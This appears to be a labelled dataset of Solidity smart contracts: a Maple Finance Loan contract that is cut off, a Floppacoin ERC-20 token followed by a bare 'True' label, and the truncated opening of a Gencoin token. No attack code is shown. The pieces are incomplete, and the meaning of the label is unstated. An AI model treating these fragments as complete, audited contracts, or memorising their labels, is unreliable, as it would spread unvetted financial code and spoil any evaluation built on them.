/* import "./interfaces/IPoolFactory.sol"; */
/* import "./interfaces/IPremiumCalc.sol"; */
/* import "./interfaces/IRepaymentCalc.sol"; */
/* import "./interfaces/IUniswapRouter.sol"; */
/* import "./library/Util.sol"; */
/* import "./library/LoanLib.sol"; */
/* import "./token/LoanFDT.sol"; */
/// @title Loan maintains all accounting and functionality related to Loans.
contract Loan is LoanFDT, Pausable {
using SafeMathInt for int256;
using SignedSafeMath for int256;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/**
Ready = The Loan has been initialized and is ready for funding (assuming funding period hasn't ended)
Active = The Loan has been drawdown and the Borrower is making payments
Matured = The Loan is fully paid off and has "matured"
Expired = The Loan did not initiate, and all funding was returned to Lenders
Liquidated = The Loan has been liquidated
*/
enum State { Ready, Active, Matured, Expired, Liquidated }
State public loanState; // The current state of this Loan, as defined in the State enum below.
IERC20 public immutable liquidityAsset; // The asset deposited by Lenders into the FundingLocker, when funding this Loan.
IERC20 public immutable collateralAsset; // The asset deposited by Borrower into the CollateralLocker, for collateralizing this Loan.
address public immutable fundingLocker; // The FundingLocker that holds custody of Loan funds before drawdown.
address public immutable flFactory; // The FundingLockerFactory.
address public immutable collateralLocker; // The CollateralLocker that holds custody of Loan collateral.
address public immutable clFactory; // The CollateralLockerFactory.
address public immutable borrower; // The Borrower of this Loan, responsible for repayments.
address public immutable repaymentCalc; // The RepaymentCalc for this Loan.
address public immutable lateFeeCalc; // The LateFeeCalc for this Loan.
address public immutable premiumCalc; // The PremiumCalc for this Loan.
address public immutable superFactory; // The LoanFactory that deployed this Loan.
mapping(address => bool) public loanAdmins; // Admin addresses that have permission to do certain operations in case of disaster management.
uint256 public nextPaymentDue; // The unix timestamp due date of the next payment.
// Loan specifications
uint256 public immutable apr; // The APR in basis points.
uint256 public paymentsRemaining; // The number of payments remaining on the Loan.
uint256 public immutable termDays; // The total length of the Loan term in days.
uint256 public immutable paymentIntervalSeconds; // The time between Loan payments in seconds.
uint256 public immutable requestAmount; // The total requested amount for Loan.
uint256 public immutable collateralRatio; // The percentage of value of the drawdown amount to post as collateral in basis points.
uint256 public immutable createdAt; // The timestamp of when Loan was instantiated.
uint256 public immutable fundingPeriod; // The time for a Loan to be funded in seconds.
uint256 public immutable defaultGracePeriod; // The time a Borrower has, after a payment is due, to make a payment before a liquidation can occur.
// Accounting variables
uint256 public principalOwed; // The amount of principal owed (initially the drawdown amount).
uint256 public principalPaid; // The amount of principal that has been paid by the Borrower since the Loan instantiation.
uint256 public interestPaid; // The amount of interest that has been paid by the Borrower since the Loan instantiation.
uint256 public feePaid; // The amount of fees that have been paid by the Borrower since the Loan instantiation.
uint256 public excessReturned; // The amount of excess that has been returned to the Lenders after the Loan drawdown.
// Liquidation variables
uint256 public amountLiquidated; // The amount of Collateral Asset that has been liquidated after default.
uint256 public amountRecovered; // The amount of Liquidity Asset that has been recovered after default.
uint256 public defaultSuffered; // The difference between `amountRecovered` and `principalOwed` after liquidation.
uint256 public liquidationExcess; // If `amountRecovered > principalOwed`, this is the amount of Liquidity Asset that is to be returned to the Borrower.
event LoanFunded(address indexed fundedBy, uint256 amountFunded);
event BalanceUpdated(address indexed account, address indexed token, uint256 balance);
event Drawdown(uint256 drawdownAmount);
event LoanStateChanged(State state);
event LoanAdminSet(address indexed loanAdmin, bool allowed);
event PaymentMade(
uint256 totalPaid,
uint256 principalPaid,
uint256 interestPaid,
uint256 paymentsRemaining,
uint256 principalOwed,
uint256 nextPaymentDue,
bool latePayment
);
event Liquidation(
uint256 collateralSwapped,
uint256 liquidityAssetReturned,
uint256 liquidationExcess,
uint256 defaultSuffered
);
/**
@dev Constructor for a Loan.
@dev It emits a `LoanStateChanged` event.
@param _borrower Will receive the funding when calling `drawdown()`. Is also responsible for repayments.
@param _liquidityAsset The asset the Borrower is requesting funding in.
@param _collateralAsset The asset provided as collateral by the Borrower.
@param _flFactory Factory to instantiate FundingLocker with.
@param _clFactory Factory to instantiate CollateralLocker with.
@param specs Contains specifications for this Loan.
specs[0] = apr
specs[1] = termDays
specs[2] = paymentIntervalDays (aka PID)
specs[3] = requestAmount
specs[4] = collateralRatio
@param calcs The calculators used for this Loan.
calcs[0] = repaymentCalc
calcs[1] = lateFeeCalc
calcs[2] = premiumCalc
*/
constructor(
address _borrower,
address _liquidityAsset,
address _collateralAsset,
address _flFactory,
address _clFactory,
uint256[5] memory specs,
address[3] memory calcs
) LoanFDT("Maple Loan Token", "MPL-LOAN", _liquidityAsset) public {
IMapleGlobals globals = _globals(msg.sender);
// Perform validity cross-checks.
LoanLib.loanSanityChecks(globals, _liquidityAsset, _collateralAsset, specs);
borrower = _borrower;
liquidityAsset = IERC20(_liquidityAsset);
collateralAsset = IERC20(_collateralAsset);
flFactory = _flFactory;
clFactory = _clFactory;
createdAt = block.timestamp;
// Update state variables.
apr = specs[0];
termDays = specs[1];
paymentsRemaining = specs[1].div(specs[2]);
paymentIntervalSeconds = specs[2].mul(1 days);
requestAmount = specs[3];
collateralRatio = specs[4];
fundingPeriod = globals.fundingPeriod();
defaultGracePeriod = globals.defaultGracePeriod();
repaymentCalc = calcs[0];
lateFeeCalc = calcs[1];
premiumCalc = calcs[2];
superFactory = msg.sender;
// Deploy lockers.
collateralLocker = ICollateralLockerFactory(_clFactory).newLocker(_collateralAsset);
fundingLocker = IFundingLockerFactory(_flFactory).newLocker(_liquidityAsset);
emit LoanStateChanged(State.Ready);
}
/**************************/
/*** Borrower Functions ***/
/**************************/
/**
@dev Draws down funding from FundingLocker, posts collateral, and transitions the Loan state from `Ready` to `Active`. Only the Borrower can call this function.
@dev It emits four `BalanceUpdated` events.
@dev It emits a `LoanStateChanged` event.
@dev It emits a `Drawdown` event.
@param amt Amount of Liquidity Asset the Borrower draws down. Remainder is returned to the Loan where it can be claimed back by LoanFDT holders.
*/
function drawdown(uint256 amt) external {
_whenProtocolNotPaused();
_isValidBorrower();
_isValidState(State.Ready);
IMapleGlobals globals = _globals(superFactory);
IFundingLocker _fundingLocker = IFundingLocker(fundingLocker);
require(amt >= requestAmount, "L:AMT_LT_REQUEST_AMT");
require(amt <= _getFundingLockerBalance(), "L:AMT_GT_FUNDED_AMT");
// Update accounting variables for the Loan.
principalOwed = amt;
nextPaymentDue = block.timestamp.add(paymentIntervalSeconds);
loanState = State.Active;
// Transfer the required amount of collateral for drawdown from the Borrower to the CollateralLocker.
collateralAsset.safeTransferFrom(borrower, collateralLocker, collateralRequiredForDrawdown(amt));
// Transfer funding amount from the FundingLocker to the Borrower, then drain remaining funds to the Loan.
uint256 treasuryFee = globals.treasuryFee();
uint256 investorFee = globals.investorFee();
address treasury = globals.mapleTreasury();
uint256 _feePaid = feePaid = amt.mul(investorFee).div(10_000); // Update fees paid for `claim()`.
uint256 treasuryAmt = amt.mul(treasuryFee).div(10_000); // Calculate amount to send to the MapleTreasury.
_transferFunds(_fundingLocker, treasury, treasuryAmt); // Send the treasury fee directly to the MapleTreasury.
_transferFunds(_fundingLocker, borrower, amt.sub(treasuryAmt).sub(_feePaid)); // Transfer drawdown amount to the Borrower.
// Update excessReturned for `claim()`.
excessReturned = _getFundingLockerBalance().sub(_feePaid);
// Drain remaining funds from the FundingLocker (amount equal to `excessReturned` plus `feePaid`)
_fundingLocker.drain();
// Call `updateFundsReceived()` update LoanFDT accounting with funds received from fees and excess returned.
updateFundsReceived();
_emitBalanceUpdateEventForCollateralLocker();
_emitBalanceUpdateEventForFundingLocker();
_emitBalanceUpdateEventForLoan();
emit BalanceUpdated(treasury, address(liquidityAsset), liquidityAsset.balanceOf(treasury));
emit LoanStateChanged(State.Active);
emit Drawdown(amt);
}
/**
@dev Makes a payment for this Loan. Amounts are calculated for the Borrower.
*/
function makePayment() external {
_whenProtocolNotPaused();
_isValidState(State.Active);
(uint256 total, uint256 principal, uint256 interest,, bool paymentLate) = getNextPayment();
--paymentsRemaining;
_makePayment(total, principal, interest, paymentLate);
}
/**
@dev Makes the full payment for this Loan (a.k.a. "calling" the Loan). This requires the Borrower to pay a premium fee.
*/
function makeFullPayment() external {
_whenProtocolNotPaused();
_isValidState(State.Active);
(uint256 total, uint256 principal, uint256 interest) = getFullPayment();
paymentsRemaining = uint256(0);
_makePayment(total, principal, interest, false);
}
/**
@dev Updates the payment variables and transfers funds from the Borrower into the Loan.
@dev It emits one or two `BalanceUpdated` events (depending if payments remaining).
@dev It emits a `LoanStateChanged` event if no payments remaining.
@dev It emits a `PaymentMade` event.
*/
function _makePayment(uint256 total, uint256 principal, uint256 interest, bool paymentLate) internal {
// Caching to reduce `SLOADs`.
uint256 _paymentsRemaining = paymentsRemaining;
// Update internal accounting variables.
interestPaid = interestPaid.add(interest);
if (principal > uint256(0)) principalPaid = principalPaid.add(principal);
if (_paymentsRemaining > uint256(0)) {
// Update info related to next payment and, if needed, decrement principalOwed.
nextPaymentDue = nextPaymentDue.add(paymentIntervalSeconds);
if (principal > uint256(0)) principalOwed = principalOwed.sub(principal);
} else {
// Update info to close loan.
principalOwed = uint256(0);
loanState = State.Matured;
nextPaymentDue = uint256(0);
// Transfer all collateral back to the Borrower.
ICollateralLocker(collateralLocker).pull(borrower, _getCollateralLockerBalance());
_emitBalanceUpdateEventForCollateralLocker();
emit LoanStateChanged(State.Matured);
}
// Loan payer sends funds to the Loan.
liquidityAsset.safeTransferFrom(msg.sender, address(this), total);
// Update FDT accounting with funds received from interest payment.
updateFundsReceived();
emit PaymentMade(
total,
principal,
interest,
_paymentsRemaining,
principalOwed,
_paymentsRemaining > 0 ? nextPaymentDue : 0,
paymentLate
);
_emitBalanceUpdateEventForLoan();
}
/************************/
/*** Lender Functions ***/
/************************/
/**
@dev Funds this Loan and mints LoanFDTs for `mintTo` (DebtLocker in the case of Pool funding).
Only LiquidityLocker using valid/approved Pool can call this function.
@dev It emits a `LoanFunded` event.
@dev It emits a `BalanceUpdated` event.
@param amt Amount to fund the Loan.
@param mintTo Address that LoanFDTs are minted to.
*/
function fundLoan(address mintTo, uint256 amt) whenNotPaused external {
_whenProtocolNotPaused();
_isValidState(State.Ready);
_isValidPool();
_isWithinFundingPeriod();
liquidityAsset.safeTransferFrom(msg.sender, fundingLocker, amt);
uint256 wad = _toWad(amt); // Convert to WAD precision.
_mint(mintTo, wad); // Mint LoanFDTs to `mintTo` (i.e DebtLocker contract).
emit LoanFunded(mintTo, amt);
_emitBalanceUpdateEventForFundingLocker();
}
/**
@dev Handles returning capital to the Loan, where it can be claimed back by LoanFDT holders,
if the Borrower has not drawn down on the Loan past the drawdown grace period.
@dev It emits a `LoanStateChanged` event.
*/
function unwind() external {
_whenProtocolNotPaused();
_isValidState(State.Ready);
// Update accounting for `claim()` and transfer funds from FundingLocker to Loan.
excessReturned = LoanLib.unwind(liquidityAsset, fundingLocker, createdAt, fundingPeriod);
updateFundsReceived();
// Transition state to `Expired`.
loanState = State.Expired;
emit LoanStateChanged(State.Expired);
}
/**
@dev Triggers a default if the Loan meets certain default conditions, liquidating all collateral and updating accounting.
Only the an account with sufficient LoanFDTs of this Loan can call this function.
@dev It emits a `BalanceUpdated` event.
@dev It emits a `Liquidation` event.
@dev It emits a `LoanStateChanged` event.
*/
function triggerDefault() external {
_whenProtocolNotPaused();
_isValidState(State.Active);
require(LoanLib.canTriggerDefault(nextPaymentDue, defaultGracePeriod, superFactory, balanceOf(msg.sender), totalSupply()), "L:FAILED_TO_LIQ");
// Pull the Collateral Asset from the CollateralLocker, swap to the Liquidity Asset, and hold custody of the resulting Liquidity Asset in the Loan.
(amountLiquidated, amountRecovered) = LoanLib.liquidateCollateral(collateralAsset, address(liquidityAsset), superFactory, collateralLocker);
_emitBalanceUpdateEventForCollateralLocker();
// Decrement `principalOwed` by `amountRecovered`, set `defaultSuffered` to the difference (shortfall from the liquidation).
if (amountRecovered <= principalOwed) {
principalOwed = principalOwed.sub(amountRecovered);
defaultSuffered = principalOwed;
}
// Set `principalOwed` to zero and return excess value from the liquidation back to the Borrower.
else {
liquidationExcess = amountRecovered.sub(principalOwed);
principalOwed = 0;
liquidityAsset.safeTransfer(borrower, liquidationExcess); // Send excess to the Borrower.
}
// Update LoanFDT accounting with funds received from the liquidation.
updateFundsReceived();
// Transition `loanState` to `Liquidated`
loanState = State.Liquidated;
emit Liquidation(
amountLiquidated, // Amount of Collateral Asset swapped.
amountRecovered, // Amount of Liquidity Asset recovered from swap.
liquidationExcess, // Amount of Liquidity Asset returned to borrower.
defaultSuffered // Remaining losses after the liquidation.
);
emit LoanStateChanged(State.Liquidated);
}
/***********************/
/*** Admin Functions ***/
/***********************/
/**
@dev Triggers paused state. Halts functionality for certain functions. Only the Borrower or a Loan Admin can call this function.
*/
function pause() external {
_isValidBorrowerOrLoanAdmin();
super._pause();
}
/**
@dev Triggers unpaused state. Restores functionality for certain functions. Only the Borrower or a Loan Admin can call this function.
*/
function unpause() external {
_isValidBorrowerOrLoanAdmin();
super._unpause();
}
/**
@dev Sets a Loan Admin. Only the Borrower can call this function.
@dev It emits a `LoanAdminSet` event.
@param loanAdmin An address being allowed or disallowed as a Loan Admin.
@param allowed Status of a Loan Admin.
*/
function setLoanAdmin(address loanAdmin, bool allowed) external {
_whenProtocolNotPaused();
_isValidBorrower();
loanAdmins[loanAdmin] = allowed;
emit LoanAdminSet(loanAdmin, allowed);
}
/**************************/
/*** Governor Functions ***/
/**************************/
/**
@dev Transfers any locked funds to the Governor. Only the Governor can call this function.
@param token Address of the token to be reclaimed.
*/
function reclaimERC20(address token) external {
LoanLib.reclaimERC20(token, address(liquidityAsset), _globals(superFactory));
}
/*********************/
/*** FDT Functions ***/
/*********************/
/**
@dev Withdraws all available funds earned through LoanFDT for a token holder.
@dev It emits a `BalanceUpdated` event.
*/
function withdrawFunds() public override {
_whenProtocolNotPaused();
super.withdrawFunds();
emit BalanceUpdated(address(this), address(fundsToken), fundsToken.balanceOf(address(this)));
}
/************************/
/*** Getter Functions ***/
/************************/
/**
@dev Returns the expected amount of Liquidity Asset to be recovered from a liquidation based on current oracle prices.
@return The minimum amount of Liquidity Asset that can be expected by swapping Collateral Asset.
*/
function getExpectedAmountRecovered() external view returns (uint256) {
uint256 liquidationAmt = _getCollateralLockerBalance();
return Util.calcMinAmount(_globals(superFactory), address(collateralAsset), address(liquidityAsset), liquidationAmt);
}
/**
@dev Returns information of the next payment amount.
@return [0] = Entitled interest of the next payment (Principal + Interest only when the next payment is last payment of the Loan)
[1] = Entitled principal amount needed to be paid in the next payment
[2] = Entitled interest amount needed to be paid in the next payment
[3] = Payment Due Date
[4] = Is Payment Late
*/
function getNextPayment() public view returns (uint256, uint256, uint256, uint256, bool) {
return LoanLib.getNextPayment(repaymentCalc, nextPaymentDue, lateFeeCalc);
}
/**
@dev Returns the information of a full payment amount.
@return total Principal and interest owed, combined.
@return principal Principal owed.
@return interest Interest owed.
*/
function getFullPayment() public view returns (uint256 total, uint256 principal, uint256 interest) {
(total, principal, interest) = LoanLib.getFullPayment(repaymentCalc, nextPaymentDue, lateFeeCalc, premiumCalc);
}
/**
@dev Calculates the collateral required to draw down amount.
@param amt The amount of the Liquidity Asset to draw down from the FundingLocker.
@return The amount of the Collateral Asset required to post in the CollateralLocker for a given drawdown amount.
*/
function collateralRequiredForDrawdown(uint256 amt) public view returns (uint256) {
return LoanLib.collateralRequiredForDrawdown(
IERC20Details(address(collateralAsset)),
IERC20Details(address(liquidityAsset)),
collateralRatio,
superFactory,
amt
);
}
/************************/
/*** Helper Functions ***/
/************************/
/**
@dev Checks that the protocol is not in a paused state.
*/
function _whenProtocolNotPaused() internal view {
require(!_globals(superFactory).protocolPaused(), "L:PROTO_PAUSED");
}
/**
@dev Checks that `msg.sender` is the Borrower or a Loan Admin.
*/
function _isValidBorrowerOrLoanAdmin() internal view {
require(msg.sender == borrower || loanAdmins[msg.sender], "L:NOT_BORROWER_OR_ADMIN");
}
/**
@dev Converts to WAD precision.
*/
function _toWad(uint256 amt) internal view returns (uint256) {
return amt.mul(10 ** 18).div(10 ** IERC20Details(address(liquidityAsset)).decimals());
}
/**
@dev Returns the MapleGlobals instance.
*/
function _globals(address loanFactory) internal view returns (IMapleGlobals) {
return IMapleGlobals(ILoanFactory(loanFactory).globals());
}
/**
@dev Returns the CollateralLocker balance.
*/
function _getCollateralLockerBalance() internal view returns (uint256) {
return collateralAsset.balanceOf(collateralLocker);
}
/**
@dev Returns the FundingLocker balance.
*/
function _getFundingLockerBalance() internal view returns (uint256) {
return liquidityAsset.balanceOf(fundingLocker);
}
/**
@dev Checks that the current state of the Loan matches the provided state.
@param _state Enum of desired Loan state.
*/
function _isValidState(State _state) internal view {
require(loanState == _state, "L:INVALID_STATE");
}
/**
@dev Checks that `msg.sender` is the Borrower.
*/
function _isValidBorrower() internal view {
require(msg.sender == borrower, "L:NOT_BORROWER");
}
/**
@dev Checks that `msg.sender` is a Lender (LiquidityLocker) that is using an approved Pool to fund the Loan.
*/
function _isValidPool() internal view {
address pool = ILiquidityLocker(msg.sender).pool();
address poolFactory = IPool(pool).superFactory();
require(
_globals(superFactory).isValidPoolFactory(poolFactory) &&
IPoolFactory(poolFactory).isPool(pool),
"L:INVALID_LENDER"
);
}
/**
@dev Checks that "now" is currently within the funding period.
*/
function _isWithinFundingPeriod() internal view {
require(block.timestamp <= createdAt.add(fundingPeriod), "L:PAST_FUNDING_PERIOD");
}
/**
@dev Transfers funds from the FundingLocker.
@param from Instance of the FundingLocker.
@param to Address to send funds to.
@param value Amount to send.
*/
function _transferFunds(IFundingLocker from, address to, uint256 value) internal {
from.pull(to, value);
}
/**
@dev Emits a `BalanceUpdated` event for the Loan.
@dev It emits a `BalanceUpdated` event.
*/
function _emitBalanceUpdateEventForLoan() internal {
emit BalanceUpdated(address(this), address(liquidityAsset), liquidityAsset.balanceOf(address(this)));
}
/**
@dev Emits a `BalanceUpdated` event for the FundingLocker.
@dev It emits a `BalanceUpdated` event.
*/
function _emitBalanceUpdateEventForFundingLocker() internal {
emit BalanceUpdated(fundingLocker, address(liquidityAsset), _getFundingLockerBalance());
}
/**
@dev Emits a `BalanceUpdated` event for the CollateralLocker.
@dev It emits a `BalanceUpdated` event.
*/
function _emitBalanceUpdateEventForCollateralLocker() internal {
emit BalanceUpdated(collateralLocker, address(collateralAsset), _getCollateralLockerBalance());
}
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/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Token contract
//
// Symbol : FLOP
// Name : Floppacoin
// Total supply : 1000000000000000000
// Decimals : 8
// Owner Account : 0xc8a57f7cbFBFDF511486e08217A3B9fa3D98201A
//
// Enjoy.
//
// (c) by Jordan Guerra 2021
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract FLOPToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "FLOP";
name = "Floppacoin";
decimals = 8;
_totalSupply = 1000000000000000000;
balances[0xc8a57f7cbFBFDF511486e08217A3B9fa3D98201A] = _totalSupply;
emit Transfer(address(0), 0xc8a57f7cbFBFDF511486e08217A3B9fa3D98201A, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-02
*/
/**
Gencoin Capital is a community-driven token that aims to bring generational wealth
for it's holders. Powered by a unique investment treasury and a turbo-charged tokenomic
system, Gencoin is strategically designed to incentivize holders with token buybacks,
holder giveaways and charity events.
Website: https://gencoincapital.finance
Telegram: https://t.me/gencoincapital
Twitter: https://twitter.com/gencoincapital
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
